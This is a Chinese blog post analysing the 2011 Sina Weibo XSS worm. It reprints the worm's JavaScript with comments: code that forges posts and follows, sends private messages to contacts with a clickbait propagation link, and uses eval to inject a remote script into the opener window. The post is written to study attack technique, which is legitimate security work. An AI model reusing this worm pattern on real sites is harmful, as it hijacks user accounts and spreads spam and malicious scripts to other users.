当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

新浪微博老蠕虫代码分析

时间:2015/5/19 19:01:11 作者:平凡之路 来源:xuhantao.com 浏览:

逛酷壳看到2011年新浪那次比较大的XSS蠕虫传播事件,Post上给出了蠕虫的代码,
正好最近实习需要在狂补前端的各种,涛涛电脑知识网,正好拿来分析下,菜分析,涛涛电脑知识网,牛无视。
事件的经过线索如下:
 
20:14,开始有大量带V的认证用户中招转发蠕虫
20:30,2kt.cn中的病毒页面无法访问
20:32,新浪微博中hellosamy用户无法访问
21:02,新浪漏洞修补完毕
该蠕虫代码没什么难度,都是常规的一些请求伪造,
分析目的就是为了在真实攻击事件中学习Xss Payload编写思路,分析过程简单的写到注释里了。
这个蠕虫的三大功能:
发表微博->关注攻击者微博帐号->遍历关注用户列表并发送私信
function createXHR(){ //创建XMLHttp对象,没啥好说的 
    return window.XMLHttpRequest? 
    new XMLHttpRequest(): 
    new ActiveXObject("Microsoft.XMLHTTP"); 

function getappkey(url){ 
    xmlHttp = createXHR(); 
    xmlHttp.open("GET",url,false); //获取AppKey不采用异步执行,等待请求返回 
    xmlHttp.send(); 
    result = xmlHttp.responseText; 
    id_arr = ''; 
    id = result.match(/namecard=\"true\" title=\"[^\"]*/g);  
        //正则匹配出AppKey数组,包含每个被收听用户的uid 
    for(i=0;i<id.length;i++){ 
        sum = id[i].toString().split('"')[3];//重新提取整理 
        id_arr += sum + '||'; 
    } 
    return id_arr; 

function random_msg(){ 
    link = ' ?id=' + new Date().getTime();; 
    //使用短地址服务,构造XSS传播连接  
    //http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//
%3E%3C/script%3E?type=update
    //隐藏自己的恶意js脚本 
    var msgs = [ //话题列表 
        '郭美美事件的一些未注意到的细节:', 
        '建党大业中穿帮的地方:', 
        '让女人心动的100句诗歌:', 
        '3D肉团团高清普通话版种子:', 
        '这是传说中的神仙眷侣啊:', 
        '惊爆!范冰冰艳照真流出了:', 
        '杨幂被爆多次被潜规则:', 
        '傻仔拿锤子去抢银行:', 
        '可以监听别人手机的软件:', 
        '个税起征点有望提到4000:']; 
    var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;  
       //随机选取话题,加上之前的传播连接作为微博内容 
    msg = encodeURIComponent(msg); //对内容进行Url编码 
    return msg; 

function post(url,data,sync){ //Ajax部分,没啥可说的 
    xmlHttp = createXHR(); 
    xmlHttp.open("POST",url,sync); 
    xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,
application/xml;q=0.9,*/*;q=0.8"); 
    xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded;
charset=UTF-8"); 
    xmlHttp.send(data); 

function publish(){ 
    url = '?rnd=' + new Date().getTime();
//构造微博发表完成的Url 
    data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
//使用random_msg生成随机话题 
    post(url,data,true); //使用XmlHttpRequest发送请求 

function follow(){ 
    url = '?
refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
//自动关注的Url 
    data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid +
'&refer_sort=profile&atnId=profile';  
//使用当前页面存储的$CONFIG.$uid构造自动关注数据包 
    post(url,data,true); //通过XMLHttpRequest发送请求 

function message(){ 
    url = '' + $CONFIG.$uid + '/follow';
//构造用户关注用户列表页Url 
    ids = getappkey(url); //获取被关注用户的Appkey数组 
    id = ids.split('||'); //分割出每个被关注用户的Appkey 
    for(i=0;i<id.length - 1 & i<5;i++){ 
        //构造私信发送Url 
        msgurl = '?rnd=' + new Date().getTime();  
        msg = random_msg(); 
        msg = encodeURIComponent(msg); 
        user = encodeURIComponent(encodeURIComponent(id[i])); 
        data = 'content=' + msg + '&name=' + user + '&retcode='; 
        post(msgurl,data,false);
//通过XmlHttpRequest发送请求 
    } 

function main(){ 
    try{ 
        publish(); //模拟发表微博 
    } 
    catch(e){} 
    try{ 
        follow(); //模拟关注用户 
    } 
    catch(e){} 
    try{ 
        message(); //模拟发送私信 
    } 
    catch(e){} 

try{ 
    //在当前body尾部插入存放在远端的Xss恶意脚本 
   x="g=document.createElement('script');g.src='';
document.body.appendChild(g)";window.opener.eval(x); 

catch(e){} 
main(); 
var t=setTimeout('location="";',5000); 
//等待5秒跳转到微话题页面
 

相关文章
  • 没有相关文章
共有评论 0相关评论
发表我的评论
  • 大名:
  • 内容:
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1